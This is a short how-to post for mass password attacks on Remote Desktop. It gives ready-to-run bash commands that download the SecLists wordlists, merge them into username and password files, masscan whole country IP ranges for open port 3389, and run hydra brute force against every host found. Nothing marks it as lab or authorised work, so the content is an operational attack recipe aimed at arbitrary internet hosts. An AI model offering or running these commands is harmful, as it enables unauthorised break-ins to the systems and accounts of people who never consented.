A method for simple Remote Desktop (RDP) password attack.
Download passwords:
Output all usernames into one file:
Output all passwords into one file:
Scan for RDP:
Password attack:
ranges.txt: https://lite.ip2location.com/ip-address-ranges-by-country
block.txt: https://gist.github.com/ozuma/fb21ab0f7143579b1f2794f4af746fb2
Download passwords:
Bash:
git clone https://github.com/danielmiessler/SecLists.git
Output all usernames into one file:
Bash:
find SecLists/Usernames/ -type f -exec cat {} + > usernames.txt
Output all passwords into one file:
Bash:
find SecLists/Passwords/ -type f -exec cat {} + > passwords.txt
Scan for RDP:
Bash:
sudo masscan -Pn -sS -iL ranges.txt --rate 6000 -p3389 --open-only --excludefile block.txt | grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' > targets.txt
Password attack:
Bash:
hydra -L usernames.txt -P passwords.txt -M targets.txt -t 16 rdp -o results
ranges.txt: https://lite.ip2location.com/ip-address-ranges-by-country
block.txt: https://gist.github.com/ozuma/fb21ab0f7143579b1f2794f4af746fb2